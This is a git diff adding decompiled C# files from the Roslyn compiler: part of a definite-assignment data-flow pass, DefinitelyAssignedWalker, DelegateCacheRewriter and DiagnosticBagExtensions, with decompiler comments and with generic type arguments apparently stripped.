((int)methodSymbol.MethodKind == 0 || (int)methodSymbol.MethodKind == 17) && ((HashSet)(object)_capturedVariables).Contains((Symbol)localSymbol)) + { + base.Diagnostics.Add(ErrorCode.ERR_FixedLocalInLambda, (Location)new SourceLocation(node.Syntax), localSymbol); + } + SplitIfBooleanConstant(node); + return null; + } + + public override BoundNode VisitLocalDeclaration(BoundLocalDeclaration node) + { + GetOrCreateSlot(node.LocalSymbol); + HashSet? hashSet = initiallyAssignedVariables; + if (hashSet != null && hashSet.Contains(node.LocalSymbol)) + { + Assign(node, null); + } + BoundNode result = base.VisitLocalDeclaration(node); + if (node.InitializerOpt != null) + { + Assign(node, node.InitializerOpt); + } + return result; + } + + public override BoundNode VisitLocalId(BoundLocalId node) + { + return null; + } + + public override BoundNode VisitParameterId(BoundParameterId node) + { + return null; + } + + public override BoundNode VisitStateMachineInstanceId(BoundStateMachineInstanceId node) + { + return null; + } + + public override BoundNode VisitMethodGroup(BoundMethodGroup node) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = node.Methods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if ((int)current.MethodKind == 17) + { + ((HashSet)(object)_usedLocalFunctions).Add((LocalFunctionSymbol)current); + } + } + return base.VisitMethodGroup(node); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + Symbol currentSymbol = CurrentSymbol; + CurrentSymbol = node.Symbol; + VisitAttributes(node.Symbol.BindMethodAttributes()); + AbstractFlowPass.SavedPending oldPending = SavePending(); + LocalState self = State; + State = (State.Reachable ? State.Clone() : ReachableBottomState()); + if (!node.WasCompilerGenerated) + { + EnterParameters(node.Symbol.Parameters); + } + AbstractFlowPass.SavedPending oldPending2 = SavePending(); + VisitAlways(node.Body); + RestorePending(oldPending2); + ImmutableArray.PendingBranch> immutableArray = RemoveReturns(); + RestorePending(oldPending); + LeaveParameters(node.Symbol.Parameters, node.Syntax, null); + Join(ref self, ref State); + ImmutableArray.PendingBranch>.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + AbstractFlowPass.PendingBranch current = enumerator.Current; + State = current.State; + if (current.Branch.Kind == BoundKind.ReturnStatement) + { + LeaveParameters(node.Symbol.Parameters, current.Branch.Syntax, null); + } + Join(ref self, ref State); + } + State = self; + CurrentSymbol = currentSymbol; + return null; + } + + public override BoundNode VisitThisReference(BoundThisReference node) + { + CheckAssigned(base.MethodThisParameter, node.Syntax); + return null; + } + + public override BoundNode VisitParameter(BoundParameter node) + { + if (!node.WasCompilerGenerated) + { + CheckAssigned(node.ParameterSymbol, node.Syntax); + } + else + { + NotePrimaryConstructorParameterReadIfNeeded(node.ParameterSymbol); + } + return null; + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + base.VisitAssignmentOperator(node); + Assign(node.Left, node.Right, node.IsRef); + return null; + } + + public override BoundNode VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + base.VisitDeconstructionAssignmentOperator(node); + Assign(node.Left, node.Right); + return null; + } + + public override BoundNode VisitIncrementOperator(BoundIncrementOperator node) + { + base.VisitIncrementOperator(node); + Assign(node.Operand, node); + return null; + } + + public override BoundNode VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + VisitCompoundAssignmentTarget(node); + VisitRvalue(node.Right); + AfterRightHasBeenVisited(node); + Assign(node.Left, node); + return null; + } + + public override BoundNode VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + BoundExpression boundExpression = node.Expression; + if (boundExpression.Kind == BoundKind.AddressOfOperator) + { + boundExpression = ((BoundAddressOfOperator)boundExpression).Operand; + } + VisitAddressOfOperand(boundExpression, shouldReadOperand: false); + return null; + } + + public override BoundNode VisitAddressOfOperator(BoundAddressOfOperator node) + { + BoundExpression operand = node.Operand; + bool shouldReadOperand = false; + Symbol symbol = UseNonFieldSymbolUnsafely(operand); + if ((object)symbol != null) + { + HashSet? unassignedVariableAddressOfSyntaxes = _unassignedVariableAddressOfSyntaxes; + if (unassignedVariableAddressOfSyntaxes != null && !unassignedVariableAddressOfSyntaxes.Contains(node.Syntax as PrefixUnaryExpressionSyntax)) + { + shouldReadOperand = true; + } + if (!((Dictionary)(object)_unsafeAddressTakenVariables).ContainsKey(symbol)) + { + ((Dictionary)(object)_unsafeAddressTakenVariables).Add(symbol, node.Syntax.Location); + } + } + VisitAddressOfOperand(node.Operand, shouldReadOperand); + return null; + } + + protected override void WriteArgument(BoundExpression arg, RefKind refKind, MethodSymbol method) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if ((int)refKind == 1) + { + CheckAssigned(arg, arg.Syntax); + } + Assign(arg, null); + if ((int)refKind != 0 && ((object)method == null || method.IsExtern)) + { + TypeSymbol type = arg.Type; + if ((object)type != null) + { + MarkFieldsUsed(type); + } + } + } + + protected void CheckAssigned(BoundExpression expr, SyntaxNode node) + { + if (!State.Reachable) + { + return; + } + MakeSlot(expr); + switch (expr.Kind) + { + case BoundKind.Local: + CheckAssigned(((BoundLocal)expr).LocalSymbol, node); + break; + case BoundKind.Parameter: + CheckAssigned(((BoundParameter)expr).ParameterSymbol, node); + break; + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr; + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if (!fieldSymbol.IsFixedSizeBuffer && MayRequireTracking(boundFieldAccess.ReceiverOpt, fieldSymbol)) + { + CheckAssigned(expr, fieldSymbol, node); + } + break; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr; + FieldSymbol associatedField = boundEventAccess.EventSymbol.AssociatedField; + if ((object)associatedField != null && MayRequireTracking(boundEventAccess.ReceiverOpt, associatedField)) + { + CheckAssigned(boundEventAccess, associatedField, node); + } + break; + } + case BoundKind.ThisReference: + case BoundKind.BaseReference: + CheckAssigned(base.MethodThisParameter, node); + break; + case BoundKind.InlineArrayAccess: + CheckAssigned(((BoundInlineArrayAccess)expr).Expression, node); + break; + } + } + + private void MarkFieldsUsed(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Invalid comparison between Unknown and I4 + TypeKind typeKind = type.TypeKind; + if ((int)typeKind != 1) + { + if (((int)typeKind != 2 && (int)typeKind != 10) || !type.IsFromCompilation(compilation) || !(type.ContainingAssembly is SourceAssemblySymbol sourceAssemblySymbol) || !sourceAssemblySymbol.TypesReferencedInExternalMethods.Add(type)) + { + return; + } + ImmutableArray.Enumerator enumerator = ((NamedTypeSymbol)type).GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 6) + { + FieldSymbol fieldSymbol = (FieldSymbol)current; + sourceAssemblySymbol.NoteFieldAccess(fieldSymbol, read: true, write: true); + MarkFieldsUsed(fieldSymbol.Type); + } + } + } + else + { + MarkFieldsUsed(((ArrayTypeSymbol)type).ElementType); + } + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + CheckAssigned(base.MethodThisParameter, node.Syntax); + return null; + } + + protected override void VisitCatchBlock(BoundCatchBlock catchBlock, ref LocalState finallyState) + { + DeclareVariables(catchBlock.Locals); + BoundExpression exceptionSourceOpt = catchBlock.ExceptionSourceOpt; + if (exceptionSourceOpt != null) + { + Assign(exceptionSourceOpt, null, isRef: false, read: false); + } + base.VisitCatchBlock(catchBlock, ref finallyState); + ImmutableArray.Enumerator enumerator = catchBlock.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + ReportIfUnused(current, current.DeclarationKind != LocalDeclarationKind.CatchVariable); + } + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + BoundNode result = base.VisitFieldAccess(node); + NoteRead(node.FieldSymbol); + if (node.FieldSymbol.IsFixedSizeBuffer && node.Syntax != null && !SyntaxFacts.IsFixedStatementExpression(node.Syntax)) + { + Symbol symbol = UseNonFieldSymbolUnsafely(node.ReceiverOpt); + if ((object)symbol != null) + { + CheckCaptured(symbol); + if (!((Dictionary)(object)_unsafeAddressTakenVariables).ContainsKey(symbol)) + { + ((Dictionary)(object)_unsafeAddressTakenVariables).Add(symbol, node.Syntax.Location); + return result; + } + } + } + else if (MayRequireTracking(node.ReceiverOpt, node.FieldSymbol)) + { + CheckAssigned(node, node.FieldSymbol, node.Syntax); + } + return result; + } + + public override BoundNode VisitPropertyAccess(BoundPropertyAccess node) + { + BoundNode result = base.VisitPropertyAccess(node); + if (Binder.AccessingAutoPropertyFromConstructor(node, CurrentSymbol)) + { + SynthesizedBackingFieldSymbol synthesizedBackingFieldSymbol = (node.PropertySymbol as SourcePropertySymbolBase)?.BackingField; + if (synthesizedBackingFieldSymbol != null && MayRequireTracking(node.ReceiverOpt, synthesizedBackingFieldSymbol) && State.Reachable && !IsAssigned(node, out var unassignedSlot)) + { + ReportUnassignedIfNotCapturedInLocalFunction(synthesizedBackingFieldSymbol, node.Syntax, unassignedSlot); + } + } + return result; + } + + public override BoundNode VisitEventAccess(BoundEventAccess node) + { + BoundNode result = base.VisitEventAccess(node); + FieldSymbol associatedField = node.EventSymbol.AssociatedField; + if ((object)associatedField != null) + { + NoteRead(associatedField); + if (MayRequireTracking(node.ReceiverOpt, associatedField)) + { + CheckAssigned(node, associatedField, node.Syntax); + } + } + return result; + } + + public override void VisitForEachIterationVariables(BoundForEachStatement node) + { + ImmutableArray.Enumerator enumerator = node.IterationVariables.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + int orCreateSlot = GetOrCreateSlot(current); + if (orCreateSlot > 0) + { + SetSlotAssigned(orCreateSlot); + } + NoteWrite(current, null, read: true); + } + } + + public override BoundNode VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + BoundNode result = base.VisitObjectInitializerMember(node); + if ((object)_sourceAssembly != null && node.MemberSymbol != null && (int)node.MemberSymbol.Kind == 6) + { + _sourceAssembly.NoteFieldAccess((FieldSymbol)node.MemberSymbol.OriginalDefinition, read: false, write: true); + } + return result; + } + + public override BoundNode VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + return null; + } + + protected override void VisitAssignmentOfNullCoalescingAssignment(BoundNullCoalescingAssignmentOperator node, BoundPropertyAccess propertyAccessOpt) + { + base.VisitAssignmentOfNullCoalescingAssignment(node, propertyAccessOpt); + Assign(node.LeftOperand, node.RightOperand); + } + + protected override void AdjustStateForNullCoalescingAssignmentNonNullCase(BoundNullCoalescingAssignmentOperator node) + { + Assign(node.LeftOperand, node.LeftOperand); + } + + protected override void AfterVisitInlineArrayAccess(BoundInlineArrayAccess node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + if ((int)node.GetItemOrSliceHelper == 402) + { + NoteWrite(node.Expression, null, read: false); + } + } + + protected override void AfterVisitConversion(BoundConversion node) + { + if (node.Conversion.IsInlineArray && node.Type.OriginalDefinition.Equals(compilation.GetWellKnownType((WellKnownType)275), (TypeCompareKind)63)) + { + NoteWrite(node.Operand, null, read: false); + } + } + + protected override string Dump(LocalState state) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append("[assigned "); + AppendBitNames(state.Assigned, stringBuilder); + stringBuilder.Append("]"); + return stringBuilder.ToString(); + } + + protected void AppendBitNames(BitVector a, StringBuilder builder) + { + bool flag = false; + foreach (int item in ((BitVector)(ref a)).TrueBits()) + { + if (flag) + { + builder.Append(", "); + } + flag = true; + AppendBitName(item, builder); + } + } + + protected void AppendBitName(int bit, StringBuilder builder) + { + LocalDataFlowPass.VariableIdentifier variableIdentifier = variableBySlot[bit]; + if (variableIdentifier.ContainingSlot > 0) + { + AppendBitName(variableIdentifier.ContainingSlot, builder); + builder.Append("."); + } + builder.Append((bit == 0) ? "" : (string.IsNullOrEmpty(variableIdentifier.Symbol.Name) ? ("" + variableIdentifier.Symbol.GetHashCode()) : variableIdentifier.Symbol.Name)); + } + + protected override bool Meet(ref LocalState self, ref LocalState other) + { + if (((BitVector)(ref self.Assigned)).Capacity != ((BitVector)(ref other.Assigned)).Capacity) + { + Normalize(ref self); + Normalize(ref other); + } + if (!other.Reachable) + { + ((BitVector)(ref self.Assigned))[0] = true; + return true; + } + bool result = false; + for (int i = 1; i < ((BitVector)(ref self.Assigned)).Capacity; i++) + { + if (((BitVector)(ref other.Assigned))[i] && !((BitVector)(ref self.Assigned))[i]) + { + SetSlotAssigned(i, ref self); + result = true; + } + } + return result; + } + + protected override bool Join(ref LocalState self, ref LocalState other) + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (self.Reachable == other.Reachable) + { + if (((BitVector)(ref self.Assigned)).Capacity != ((BitVector)(ref other.Assigned)).Capacity) + { + Normalize(ref self); + Normalize(ref other); + } + return ((BitVector)(ref self.Assigned)).IntersectWith(ref other.Assigned); + } + if (!self.Reachable) + { + self.Assigned = ((BitVector)(ref other.Assigned)).Clone(); + return true; + } + return false; + } + + protected override LocalFunctionState CreateLocalFunctionState(LocalFunctionSymbol symbol) + { + return CreateLocalFunctionState(); + } + + private LocalFunctionState CreateLocalFunctionState() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return new LocalFunctionState(new LocalState(BitVector.AllSet(variableBySlot.Count), normalizeToBottom: true), UnreachableState()); + } + + protected override void VisitLocalFunctionUse(LocalFunctionSymbol localFunc, LocalFunctionState localFunctionState, SyntaxNode syntax, bool isCall) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + ((HashSet)(object)_usedLocalFunctions).Add(localFunc); + BitVector readVars = localFunctionState.ReadVars; + for (int i = 1; i < ((BitVector)(ref readVars)).Capacity; i++) + { + if (((BitVector)(ref readVars))[i]) + { + Symbol symbol = variableBySlot[i].Symbol; + CheckIfAssignedDuringLocalFunctionReplay(symbol, syntax, i); + } + } + base.VisitLocalFunctionUse(localFunc, localFunctionState, syntax, isCall); + } + + private void CheckIfAssignedDuringLocalFunctionReplay(Symbol symbol, SyntaxNode node, int slot) + { + if ((object)symbol == null) + { + return; + } + NoteRead(symbol); + if (State.Reachable) + { + if (slot >= ((BitVector)(ref State.Assigned)).Capacity) + { + Normalize(ref State); + } + if (slot > 0 && !State.IsAssigned(slot)) + { + ReportUnassignedIfNotCapturedInLocalFunction(symbol, node, slot, skipIfUseBeforeDeclaration: false); + } + } + } + + private void RecordReadInLocalFunction(int slot) + { + LocalFunctionSymbol nearestLocalFunctionOpt = GetNearestLocalFunctionOpt(CurrentSymbol); + LocalFunctionState orCreateLocalFuncUsages = GetOrCreateLocalFuncUsages(nearestLocalFunctionOpt); + TypeSymbol type = variableBySlot[slot].Symbol.GetTypeOrReturnType().Type; + if (EmptyStructTypeCache.IsTrackableStructType(type)) + { + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(type)) + { + int orCreateSlot = GetOrCreateSlot(structInstanceField, slot); + if (orCreateSlot > 0 && !State.IsAssigned(orCreateSlot)) + { + RecordReadInLocalFunction(orCreateSlot); + } + } + return; + } + ((BitVector)(ref orCreateLocalFuncUsages.ReadVars))[slot] = true; + } + + private BitVector GetCapturedBitmask() + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + int count = variableBySlot.Count; + BitVector result = BitVector.AllSet(count); + for (int i = 1; i < count; i++) + { + ((BitVector)(ref result))[i] = IsCapturedInLocalFunction(i); + } + return result; + } + + private bool IsCapturedInLocalFunction(int slot) + { + if (slot <= 0) + { + return false; + } + Symbol symbol = variableBySlot[RootSlot(slot)].Symbol; + LocalFunctionSymbol nearestLocalFunctionOpt = GetNearestLocalFunctionOpt(CurrentSymbol); + if ((object)nearestLocalFunctionOpt != null) + { + return Symbol.IsCaptured(symbol, nearestLocalFunctionOpt); + } + return false; + } + + private static LocalFunctionSymbol GetNearestLocalFunctionOpt(Symbol symbol) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + while (symbol != null) + { + if ((int)symbol.Kind == 9 && (int)((MethodSymbol)symbol).MethodKind == 17) + { + return (LocalFunctionSymbol)symbol; + } + symbol = symbol.ContainingSymbol; + } + return null; + } + + protected override LocalFunctionState LocalFunctionStart(LocalFunctionState startState) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + LocalFunctionState localFunctionState = CreateLocalFunctionState(); + localFunctionState.ReadVars = ((BitVector)(ref startState.ReadVars)).Clone(); + ((BitVector)(ref startState.ReadVars)).Clear(); + return localFunctionState; + } + + protected override bool LocalFunctionEnd(LocalFunctionState savedState, LocalFunctionState currentState, ref LocalState stateAtReturn) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + if (((BitVector)(ref currentState.CapturedMask)).IsNull) + { + currentState.CapturedMask = GetCapturedBitmask(); + currentState.InvertedCapturedMask = ((BitVector)(ref currentState.CapturedMask)).Clone(); + ((BitVector)(ref currentState.InvertedCapturedMask)).Invert(); + } + ((BitVector)(ref stateAtReturn.Assigned)).IntersectWith(ref currentState.CapturedMask); + if (NonMonotonicState.HasValue) + { + LocalState value = NonMonotonicState.Value; + ((BitVector)(ref value.Assigned)).UnionWith(ref currentState.InvertedCapturedMask); + NonMonotonicState = Optional.op_Implicit(value); + } + BitVector readVars = currentState.ReadVars; + ((BitVector)(ref readVars)).IntersectWith(ref currentState.CapturedMask); + return ((BitVector)(ref savedState.ReadVars)).UnionWith(ref readVars); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DefinitelyAssignedWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DefinitelyAssignedWalker.cs new file mode 100644 index 0000000..fbabee0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DefinitelyAssignedWalker.cs @@ -0,0 +1,72 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DefinitelyAssignedWalker : AbstractRegionDataFlowPass +{ + private readonly HashSet _definitelyAssignedOnEntry = new HashSet(); + + private readonly HashSet _definitelyAssignedOnExit = new HashSet(); + + private DefinitelyAssignedWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion) + { + } + + internal static (HashSet entry, HashSet exit) Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + { + DefinitelyAssignedWalker definitelyAssignedWalker = new DefinitelyAssignedWalker(compilation, member, node, firstInRegion, lastInRegion); + try + { + bool badRegion = false; + definitelyAssignedWalker.Analyze(ref badRegion, null); + return badRegion ? (entry: new HashSet(), exit: new HashSet()) : (entry: definitelyAssignedWalker._definitelyAssignedOnEntry, exit: definitelyAssignedWalker._definitelyAssignedOnExit); + } + finally + { + definitelyAssignedWalker.Free(); + } + } + + protected override void EnterRegion() + { + ProcessRegion(_definitelyAssignedOnEntry); + base.EnterRegion(); + } + + protected override void LeaveRegion() + { + ProcessRegion(_definitelyAssignedOnExit); + base.LeaveRegion(); + } + + private void ProcessRegion(HashSet definitelyAssigned) + { + definitelyAssigned.Clear(); + if (IsConditionalState) + { + ProcessState(definitelyAssigned, StateWhenTrue, StateWhenFalse); + } + else + { + ProcessState(definitelyAssigned, State, null); + } + } + + private void ProcessState(HashSet definitelyAssigned, LocalState state1, LocalState? state2opt) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Invalid comparison between Unknown and I4 + foreach (int item in ((BitVector)(ref state1.Assigned)).TrueBits()) + { + if (item < variableBySlot.Count && (!state2opt.HasValue || state2opt.GetValueOrDefault().IsAssigned(item))) + { + Symbol symbol = variableBySlot[item].Symbol; + if ((object)symbol != null && (int)symbol.Kind != 6) + { + definitelyAssigned.Add(symbol); + } + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DelegateCacheRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DelegateCacheRewriter.cs new file mode 100644 index 0000000..8d779f0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DelegateCacheRewriter.cs @@ -0,0 +1,154 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DelegateCacheRewriter +{ + private readonly SyntheticBoundNodeFactory _factory; + + private readonly int _topLevelMethodOrdinal; + + private Dictionary? _genericCacheContainers; + + private static readonly Func, bool, bool> s_typeParameterSymbolCollector = delegate(TypeSymbol typeSymbol, HashSet result, bool _) + { + if (typeSymbol is TypeParameterSymbol item) + { + result.Add(item); + } + return false; + }; + + internal DelegateCacheRewriter(SyntheticBoundNodeFactory factory, int topLevelMethodOrdinal) + { + _factory = factory; + _topLevelMethodOrdinal = topLevelMethodOrdinal; + } + + internal static bool CanRewrite(BoundDelegateCreationExpression boundDelegateCreation) + { + if (boundDelegateCreation.MethodOpt.IsStatic) + { + return !boundDelegateCreation.IsExtensionMethod; + } + return false; + } + + internal BoundExpression Rewrite(BoundDelegateCreationExpression boundDelegateCreation) + { + SyntaxNode syntax = _factory.Syntax; + _factory.Syntax = boundDelegateCreation.Syntax; + FieldSymbol orAddCacheField = GetOrAddCacheContainer(boundDelegateCreation).GetOrAddCacheField(_factory, boundDelegateCreation); + BoundFieldAccess left = _factory.Field(null, orAddCacheField); + BoundExpression result = _factory.Coalesce(left, _factory.AssignmentExpression(left, boundDelegateCreation)); + _factory.Syntax = syntax; + return result; + } + + private DelegateCacheContainer GetOrAddCacheContainer(BoundDelegateCreationExpression boundDelegateCreation) + { + int currentGenerationOrdinal = ((CommonPEModuleBuilder)_factory.ModuleBuilderOpt).CurrentGenerationOrdinal; + DelegateCacheContainer concreteDelegateCacheContainer; + if (!TryGetOwnerFunction(_factory.CurrentFunction, boundDelegateCreation, out MethodSymbol ownerFunction)) + { + TypeCompilationState compilationState = _factory.CompilationState; + concreteDelegateCacheContainer = compilationState.ConcreteDelegateCacheContainer; + if ((object)concreteDelegateCacheContainer != null) + { + return concreteDelegateCacheContainer; + } + concreteDelegateCacheContainer = (compilationState.ConcreteDelegateCacheContainer = new DelegateCacheContainer(compilationState.Type, currentGenerationOrdinal)); + } + else + { + Dictionary dictionary = _genericCacheContainers ?? (_genericCacheContainers = new Dictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance)); + if (dictionary.TryGetValue(ownerFunction, out concreteDelegateCacheContainer)) + { + return concreteDelegateCacheContainer; + } + concreteDelegateCacheContainer = new DelegateCacheContainer(ownerFunction, _topLevelMethodOrdinal, dictionary.Count, currentGenerationOrdinal); + dictionary.Add(ownerFunction, concreteDelegateCacheContainer); + } + _factory.AddNestedType(concreteDelegateCacheContainer); + return concreteDelegateCacheContainer; + } + + private static bool TryGetOwnerFunction(MethodSymbol currentFunction, BoundDelegateCreationExpression boundDelegateCreation, [NotNullWhen(true)] out MethodSymbol? ownerFunction) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + MethodSymbol methodOpt = boundDelegateCreation.MethodOpt; + if ((int)methodOpt.MethodKind == 17) + { + for (Symbol symbol = currentFunction; symbol is MethodSymbol methodSymbol; symbol = symbol.ContainingSymbol) + { + if (methodSymbol.Arity > 0) + { + ownerFunction = methodSymbol; + return true; + } + } + ownerFunction = null; + return false; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + try + { + if ((methodOpt.IsAbstract || methodOpt.IsVirtual) && boundDelegateCreation.Argument is BoundTypeExpression boundTypeExpression) + { + FindTypeParameters(boundTypeExpression.Type, (HashSet)(object)instance); + } + FindTypeParameters(boundDelegateCreation.Type, (HashSet)(object)instance); + FindTypeParameters(methodOpt, (HashSet)(object)instance); + for (Symbol symbol2 = currentFunction; symbol2 is MethodSymbol methodSymbol2; symbol2 = symbol2.ContainingSymbol) + { + if (usedTypeParametersContains((HashSet)(object)instance, methodSymbol2.TypeParameters)) + { + ownerFunction = methodSymbol2; + return true; + } + } + ownerFunction = null; + return false; + } + finally + { + instance.Free(); + } + static bool usedTypeParametersContains(HashSet used, ImmutableArray typeParameters) + { + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + if (used.Contains(current)) + { + return true; + } + } + return false; + } + } + + private static void FindTypeParameters(TypeSymbol type, HashSet result) + { + type.VisitType>(s_typeParameterSymbolCollector, result, canDigThroughNullable: false, visitCustomModifiers: true); + } + + private static void FindTypeParameters(MethodSymbol method, HashSet result) + { + FindTypeParameters(method.ContainingType, result); + ImmutableArray.Enumerator enumerator = method.TypeArgumentsWithAnnotations.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.VisitType>(null, null, s_typeParameterSymbolCollector, result, canDigThroughNullable: false, useDefaultType: false, visitCustomModifiers: true); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticBagExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticBagExtensions.cs new file mode 100644 index 0000000..21c4edd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticBagExtensions.cs @@ -0,0 +1,75 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class DiagnosticBagExtensions +{ + internal static CSDiagnosticInfo Add(this DiagnosticBag diagnostics, ErrorCode code, Location location) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(code); + CSDiagnostic cSDiagnostic = new CSDiagnostic((DiagnosticInfo)(object)cSDiagnosticInfo, location); + diagnostics.Add((Diagnostic)(object)cSDiagnostic); + return cSDiagnosticInfo; + } + + internal static CSDiagnosticInfo Add(this DiagnosticBag diagnostics, ErrorCode code, Location location, params object[] args) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(code, args); + CSDiagnostic cSDiagnostic = new CSDiagnostic((DiagnosticInfo)(object)cSDiagnosticInfo, location); + diagnostics.Add((Diagnostic)(object)cSDiagnostic); + return cSDiagnosticInfo; + } + + internal static CSDiagnosticInfo Add(this DiagnosticBag diagnostics, ErrorCode code, Location location, ImmutableArray symbols, params object[] args) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(code, args, symbols, ImmutableArray.Empty); + CSDiagnostic cSDiagnostic = new CSDiagnostic((DiagnosticInfo)(object)cSDiagnosticInfo, location); + diagnostics.Add((Diagnostic)(object)cSDiagnostic); + return cSDiagnosticInfo; + } + + internal static void Add(this DiagnosticBag diagnostics, DiagnosticInfo info, Location location) + { + CSDiagnostic cSDiagnostic = new CSDiagnostic(info, location); + diagnostics.Add((Diagnostic)(object)cSDiagnostic); + } + + internal static bool Add(this DiagnosticBag diagnostics, SyntaxNode node, HashSet useSiteDiagnostics) + { + if (!HashSetExtensions.IsNullOrEmpty(useSiteDiagnostics)) + { + return diagnostics.Add(node.Location, (IReadOnlyCollection)useSiteDiagnostics); + } + return false; + } + + internal static bool Add(this DiagnosticBag diagnostics, SyntaxToken token, HashSet useSiteDiagnostics) + { + if (!HashSetExtensions.IsNullOrEmpty(useSiteDiagnostics)) + { + return diagnostics.Add(((SyntaxToken)(ref token)).GetLocation(), (IReadOnlyCollection)useSiteDiagnostics); + } + return false; + } + + internal static bool Add(this DiagnosticBag diagnostics, Location location, IReadOnlyCollection useSiteDiagnostics) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + 